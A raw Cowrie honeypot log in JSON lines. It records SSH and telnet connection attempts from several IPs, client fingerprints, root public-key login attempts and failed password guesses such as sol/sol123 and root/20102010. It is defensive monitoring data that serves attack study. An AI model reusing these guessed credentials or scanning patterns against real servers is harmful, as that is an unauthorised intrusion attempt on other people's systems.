{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:22.487839Z","src_ip":"2.57.122.238","session":"ba01ec65f706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:22.786280Z","src_ip":"2.57.122.238","session":"ba01ec65f706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:23.889087Z","src_ip":"2.57.122.238","session":"ba01ec65f706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.221.176.152","src_port":37268,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf1fef0d7a33","protocol":"ssh","message":"New connection: 206.221.176.152:37268 (10.17.0.5:22) [session: bf1fef0d7a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:30.678324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:30.683425Z","src_ip":"206.221.176.152","session":"bf1fef0d7a33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:30.690042Z","src_ip":"206.221.176.152","session":"bf1fef0d7a33","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:be:b0:a8:c6:62:20:e1:bd:1d:02:31:ac:5f:7d:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVYlpym1A0MrzXnH8fnYIvxX6GacioAi8Oke89n1wxkKOntMvk2I+HxOiLif5qxn81WwDgeLdcQUtpZq+/rQlDC/iCoPUNBRh+Nd4ubgt6y3e9ud6hxOFjbnH/btVp5cIeUL6+eKV/10rWGvmgirqi8ZUN8Y8TvEgLLfleyf4SWi6cAZw1wXETy6A6fAzm4tIIxvHUv/tPj/IoUalKVNoCKGIFvzlgjY5vrO2ajCldOPidrHtuyOsO2vBdm6k0BLEFPHrFko1I9AiBUXgiDaUBbcEQPkCisAmahIoEziiHkbpzaMr/DVBMGtJiKTGZNLq2hmonGEpZAUjrpBsubgDV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:be:b0:a8:c6:62:20:e1:bd:1d:02:31:ac:5f:7d:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:30.707425Z","src_ip":"206.221.176.152","session":"bf1fef0d7a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:be:b0:a8:c6:62:20:e1:bd:1d:02:31:ac:5f:7d:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVYlpym1A0MrzXnH8fnYIvxX6GacioAi8Oke89n1wxkKOntMvk2I+HxOiLif5qxn81WwDgeLdcQUtpZq+/rQlDC/iCoPUNBRh+Nd4ubgt6y3e9ud6hxOFjbnH/btVp5cIeUL6+eKV/10rWGvmgirqi8ZUN8Y8TvEgLLfleyf4SWi6cAZw1wXETy6A6fAzm4tIIxvHUv/tPj/IoUalKVNoCKGIFvzlgjY5vrO2ajCldOPidrHtuyOsO2vBdm6k0BLEFPHrFko1I9AiBUXgiDaUBbcEQPkCisAmahIoEziiHkbpzaMr/DVBMGtJiKTGZNLq2hmonGEpZAUjrpBsubgDV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:30.713947Z","src_ip":"206.221.176.152","session":"bf1fef0d7a33","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:81:07:57:87:d1:0a:30:1b:85:c6:e8:cd:03:11:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0fH9mw9BAPbbJRRkWHJ3edIrrq9CkgN3wt8GnyP4En25b6lA6PwnL9VqXR6xQ3R9ylpxQIpnHHsi6VV7Mr9htr9WUJBZWWj1ZMGZPZMKn81smHMZG0bQIMNDSYzwyK0dQipkfNd0mBgXGHMNeSgU5Xwo21bwp7RB83mnB8VQreEnSfYok58XNQ0Dc1mHRD9EHV8OkVS+dKRr72MrAAKCTdSsnVmTjwofzYtz7281Rah3GAJ/i6k6XYIKKMOKQf0xebvTrrVxP3nGla1uT0Yfp5B6erpdXKt1741dA/oD4KrGIEHHS/WWzFbQSPZcPQmUEd34FoE/INMwNJ8kGmow4F4bk0by4mQb1pUq748wfTbK9iq1VnlId3vObbTh5UPGVH/tqYubi6+pxSrLjonzG1d98IzJhw+zwSgDclbMhvkAd7fTxzGEC9aYEbBNlRx0+6MWZCNNwb1du7RkU0ywfRqjIb2OMWglk90dBqjW3Cs5+maqmoKZWSvCwcTW9y12Y+Jvr2sy5YXDPELT2+QFeGj4QDuizJy4NU0scx0MZo8WBHQu/VSjVMPeSoJo7WOsxj9ymZLRAY56yus+fBnMVYZ1qFoogqBjtZI7RVpVWLQy3iR7f5hd10AWeO6z7PNYHlsbhlGxYxkHGWQ4S7TyzY43CoCXCuIffgb2uyFAeWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:81:07:57:87:d1:0a:30:1b:85:c6:e8:cd:03:11:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:30.721763Z","src_ip":"206.221.176.152","session":"bf1fef0d7a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:81:07:57:87:d1:0a:30:1b:85:c6:e8:cd:03:11:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0fH9mw9BAPbbJRRkWHJ3edIrrq9CkgN3wt8GnyP4En25b6lA6PwnL9VqXR6xQ3R9ylpxQIpnHHsi6VV7Mr9htr9WUJBZWWj1ZMGZPZMKn81smHMZG0bQIMNDSYzwyK0dQipkfNd0mBgXGHMNeSgU5Xwo21bwp7RB83mnB8VQreEnSfYok58XNQ0Dc1mHRD9EHV8OkVS+dKRr72MrAAKCTdSsnVmTjwofzYtz7281Rah3GAJ/i6k6XYIKKMOKQf0xebvTrrVxP3nGla1uT0Yfp5B6erpdXKt1741dA/oD4KrGIEHHS/WWzFbQSPZcPQmUEd34FoE/INMwNJ8kGmow4F4bk0by4mQb1pUq748wfTbK9iq1VnlId3vObbTh5UPGVH/tqYubi6+pxSrLjonzG1d98IzJhw+zwSgDclbMhvkAd7fTxzGEC9aYEbBNlRx0+6MWZCNNwb1du7RkU0ywfRqjIb2OMWglk90dBqjW3Cs5+maqmoKZWSvCwcTW9y12Y+Jvr2sy5YXDPELT2+QFeGj4QDuizJy4NU0scx0MZo8WBHQu/VSjVMPeSoJo7WOsxj9ymZLRAY56yus+fBnMVYZ1qFoogqBjtZI7RVpVWLQy3iR7f5hd10AWeO6z7PNYHlsbhlGxYxkHGWQ4S7TyzY43CoCXCuIffgb2uyFAeWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:30.725934Z","src_ip":"206.221.176.152","session":"bf1fef0d7a33","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:1c:a7:ae:bb:92:6a:4f:94:44:05:ec:14:e4:5d:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8vtr+i3YMFWXb6148xOSesgzSbVTiImwFF2enJfyF2ZIhU5fya4TIlWKkf/wOpx9cxf/l4mjJ4VFx7UkTAEiuUNbFYhckTAYXn0qdyK9+p/YEssigecIs0RH8qG9rXdl4VtfrF1nWdrCO/d8ESXOtLjo1JIPzqp7kZM9NcbhADIDeZLjfJnztKRWeHyJyNwBSBwdnPi9yZGb8e5HjtZCXoWAWKU7L13jOECEEU/LVxyo0t48VDyRjbOLiJbpdd9QmWqlAM4jHdUrlKYzOmA/Zx9sdvLElqcEZM2Dgnm21awsYitTzbH9ivok080TBlpuvEsuOsYE8iYTA78bE7Mff3iIoWNz+/tF2kQahkYQk2TzOywQVHrLe+vRWL2TlzBs7thfUBNkuTnm3tZEFYMxby2k2LkIEZ6B7IfoIMrBhQyvqTpsNtxC9KW4+VfxqPTEJnkk2Y/wcsZ8X7SigT2Mp/nJGJpt0prQQi8A843dwZ1rFpeHuglkT4j8N9c4v9stU8AqhRSAREesqOkwoUwWMgwCzms22pgfS3bwmL0BatXQokk0QEHZZpKS5TZcpnzYaLatqBaBzGfxtLb7ViKmD8FcyniB0+7VwH+1xOSsxCuTdZittKwZtIa5mjIuAbAmj3S4lzT0O2OQktP4gP0fE3OSIYCOcDHlQ7C4702EfqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:1c:a7:ae:bb:92:6a:4f:94:44:05:ec:14:e4:5d:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:30.733695Z","src_ip":"206.221.176.152","session":"bf1fef0d7a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:1c:a7:ae:bb:92:6a:4f:94:44:05:ec:14:e4:5d:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8vtr+i3YMFWXb6148xOSesgzSbVTiImwFF2enJfyF2ZIhU5fya4TIlWKkf/wOpx9cxf/l4mjJ4VFx7UkTAEiuUNbFYhckTAYXn0qdyK9+p/YEssigecIs0RH8qG9rXdl4VtfrF1nWdrCO/d8ESXOtLjo1JIPzqp7kZM9NcbhADIDeZLjfJnztKRWeHyJyNwBSBwdnPi9yZGb8e5HjtZCXoWAWKU7L13jOECEEU/LVxyo0t48VDyRjbOLiJbpdd9QmWqlAM4jHdUrlKYzOmA/Zx9sdvLElqcEZM2Dgnm21awsYitTzbH9ivok080TBlpuvEsuOsYE8iYTA78bE7Mff3iIoWNz+/tF2kQahkYQk2TzOywQVHrLe+vRWL2TlzBs7thfUBNkuTnm3tZEFYMxby2k2LkIEZ6B7IfoIMrBhQyvqTpsNtxC9KW4+VfxqPTEJnkk2Y/wcsZ8X7SigT2Mp/nJGJpt0prQQi8A843dwZ1rFpeHuglkT4j8N9c4v9stU8AqhRSAREesqOkwoUwWMgwCzms22pgfS3bwmL0BatXQokk0QEHZZpKS5TZcpnzYaLatqBaBzGfxtLb7ViKmD8FcyniB0+7VwH+1xOSsxCuTdZittKwZtIa5mjIuAbAmj3S4lzT0O2OQktP4gP0fE3OSIYCOcDHlQ7C4702EfqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:30.737511Z","src_ip":"206.221.176.152","session":"bf1fef0d7a33","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:41:ca:ab:51:d7:b1:b1:1d:59:5a:be:ee:84:67:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9gArtSMoMijUPv7UXTPLGI1BcnV5TD3Hy5AWXLp1HZVMW36l9WB98sbBAbZtOZJ7xd9I9zCdG5OYr3mPx4l+oQwwtSn1es4GborLSbiOoFOuE54317vE4qMXDwYf5vSB6sFNFmtJewD7/CkpOf8Q5cdRBAAqVWaYc/0X0KvaOcapQyJb8t7E/Z4wj6zDplsUgutWfUKF4bhxfnzEdDamuNQRAPGH6V8WI96s6/oSNCIj14adX40No2yiFya+USd5JMQwn9gTkQMLB4XhkVg0gz8dnE1R9zd0CU42M6AwkiPp2a+mHy7EFVl3qL8FiJrkstKE7bjj6V6FUHca/dC8eSDyRxk6gtcwRGdfrbAzHXd+IbAnSpPl9ZISwXUbskk3BfVeOAmAvc5IZ06w8hhUs24iKm+4XaD7t88y+Aj7Za0o7UjEYkgpZKTs7UIcOkR/vJaXzm1VxiMqc1xnhuSOLvFa6gJyLrvKXxnYMWmj+N3WxJnZKEFQK/jkL2t3r1KLovf9st9hbv5OgEzXmavbbwpIFrxYV/QPyZ8MtHWgijjyKPF0qe3cjFU4B6U1KKIW8ESer/nggssXZM6JkoYhoflk0Nhl5KOh/tcroWmfudQObi0Ahws2zclO/eEfHyvhbVexkCo0KbK/Ih3TODfdvfIUnlfB5p8Cy4HU0JGVoNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:41:ca:ab:51:d7:b1:b1:1d:59:5a:be:ee:84:67:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:30.749297Z","src_ip":"206.221.176.152","session":"bf1fef0d7a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:41:ca:ab:51:d7:b1:b1:1d:59:5a:be:ee:84:67:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9gArtSMoMijUPv7UXTPLGI1BcnV5TD3Hy5AWXLp1HZVMW36l9WB98sbBAbZtOZJ7xd9I9zCdG5OYr3mPx4l+oQwwtSn1es4GborLSbiOoFOuE54317vE4qMXDwYf5vSB6sFNFmtJewD7/CkpOf8Q5cdRBAAqVWaYc/0X0KvaOcapQyJb8t7E/Z4wj6zDplsUgutWfUKF4bhxfnzEdDamuNQRAPGH6V8WI96s6/oSNCIj14adX40No2yiFya+USd5JMQwn9gTkQMLB4XhkVg0gz8dnE1R9zd0CU42M6AwkiPp2a+mHy7EFVl3qL8FiJrkstKE7bjj6V6FUHca/dC8eSDyRxk6gtcwRGdfrbAzHXd+IbAnSpPl9ZISwXUbskk3BfVeOAmAvc5IZ06w8hhUs24iKm+4XaD7t88y+Aj7Za0o7UjEYkgpZKTs7UIcOkR/vJaXzm1VxiMqc1xnhuSOLvFa6gJyLrvKXxnYMWmj+N3WxJnZKEFQK/jkL2t3r1KLovf9st9hbv5OgEzXmavbbwpIFrxYV/QPyZ8MtHWgijjyKPF0qe3cjFU4B6U1KKIW8ESer/nggssXZM6JkoYhoflk0Nhl5KOh/tcroWmfudQObi0Ahws2zclO/eEfHyvhbVexkCo0KbK/Ih3TODfdvfIUnlfB5p8Cy4HU0JGVoNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:30.753637Z","src_ip":"206.221.176.152","session":"bf1fef0d7a33","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:80:e9:73:04:51:fe:d8:bc:22:50:92:06:b4:83:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuYojrzLKOw00Qsh1qdH24cloNPo3Ie9tcmZqslD3OEIfFOvZouh3S3Kgvp9oTbJe5Lr7RlGShONd9huA/lgSkoU2+9YcptTzmobVdyXsJO8gRY9WyLnBGkwKzHkZzNw6tJsoUAhTkSwDwd0javFf0jPzSqloZH+a+AlaPA2yW8+P0/oHiNrOoBD28qyoJ0gGHrxWw/xwvbKCK3WzkyFOOGN+MGeu/Gk5m7k67iE4u/vAoN35c8XVrfCTrIhkvECvBg1LHGZVK8E0ET/tLhOsmN6QZShfRHujlZAurmEGcbVfu2HubMh/hpTGB+2I43/1mi5JSG97Ybd6ABISSFH33d7HIivlPBQ6UBCtZh88vHkic7wxZ+hmoXHxGtC+TgFx70wALRvLTcCmFjsciUC+pN2mwLnydMyo7cNVnfH4OUD9l2h1QmRkGnFBDS2cxdBjdyuNNgqCpbJi8EYojXjLRsFh4bCIisT5SDeDrm1J6RZSx9UArsu1gKhMlYivTChBuN/DSkMX7NOrDBhPBENuWAayg3Vy881aM9gSffJvQxGBERGY19udZscNdw3u4CUdUXOq2bakzaskEv8RHVWc6CXl1YCin9+cRnIU74dO2+ajlSzNfNvOAoFcphZhpZLsGLwjG3VRBZy3fSwpr4GTv3POjBr2FcAM2cM2H1/kg4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:80:e9:73:04:51:fe:d8:bc:22:50:92:06:b4:83:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:30.765410Z","src_ip":"206.221.176.152","session":"bf1fef0d7a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:80:e9:73:04:51:fe:d8:bc:22:50:92:06:b4:83:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuYojrzLKOw00Qsh1qdH24cloNPo3Ie9tcmZqslD3OEIfFOvZouh3S3Kgvp9oTbJe5Lr7RlGShONd9huA/lgSkoU2+9YcptTzmobVdyXsJO8gRY9WyLnBGkwKzHkZzNw6tJsoUAhTkSwDwd0javFf0jPzSqloZH+a+AlaPA2yW8+P0/oHiNrOoBD28qyoJ0gGHrxWw/xwvbKCK3WzkyFOOGN+MGeu/Gk5m7k67iE4u/vAoN35c8XVrfCTrIhkvECvBg1LHGZVK8E0ET/tLhOsmN6QZShfRHujlZAurmEGcbVfu2HubMh/hpTGB+2I43/1mi5JSG97Ybd6ABISSFH33d7HIivlPBQ6UBCtZh88vHkic7wxZ+hmoXHxGtC+TgFx70wALRvLTcCmFjsciUC+pN2mwLnydMyo7cNVnfH4OUD9l2h1QmRkGnFBDS2cxdBjdyuNNgqCpbJi8EYojXjLRsFh4bCIisT5SDeDrm1J6RZSx9UArsu1gKhMlYivTChBuN/DSkMX7NOrDBhPBENuWAayg3Vy881aM9gSffJvQxGBERGY19udZscNdw3u4CUdUXOq2bakzaskEv8RHVWc6CXl1YCin9+cRnIU74dO2+ajlSzNfNvOAoFcphZhpZLsGLwjG3VRBZy3fSwpr4GTv3POjBr2FcAM2cM2H1/kg4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:30.770560Z","src_ip":"206.221.176.152","session":"bf1fef0d7a33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:30.782397Z","src_ip":"206.221.176.152","session":"bf1fef0d7a33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":55704,"dst_ip":"159.203.135.109","dst_port":22,"session":"accb266a03f2","protocol":"ssh","message":"New connection: 103.27.238.114:55704 (159.203.135.109:22) [session: accb266a03f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:48.366750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:48.371693Z","src_ip":"103.27.238.114","session":"accb266a03f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:48.643198Z","src_ip":"103.27.238.114","session":"accb266a03f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20102010","message":"login attempt [root/20102010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:49.457145Z","src_ip":"103.27.238.114","session":"accb266a03f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:50.731623Z","src_ip":"103.27.238.114","session":"accb266a03f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":50600,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b76a4236a63","protocol":"telnet","message":"New connection: 213.108.3.46:50600 (10.17.0.5:23) [session: 7b76a4236a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:30:52.848269Z"}
{"eventid":"cowrie.session.closed","duration":0.01298832893371582,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:30:52.861134Z","src_ip":"213.108.3.46","session":"7b76a4236a63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00242280960083,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:30:54.123372Z","src_ip":"152.42.224.71","session":"54f1866d0b65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.161.101.51","src_port":41826,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd59a9ec8c44","protocol":"ssh","message":"New connection: 5.161.101.51:41826 (10.17.0.5:22) [session: bd59a9ec8c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:01.595802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:01.601061Z","src_ip":"5.161.101.51","session":"bd59a9ec8c44","protocol":"ssh"}
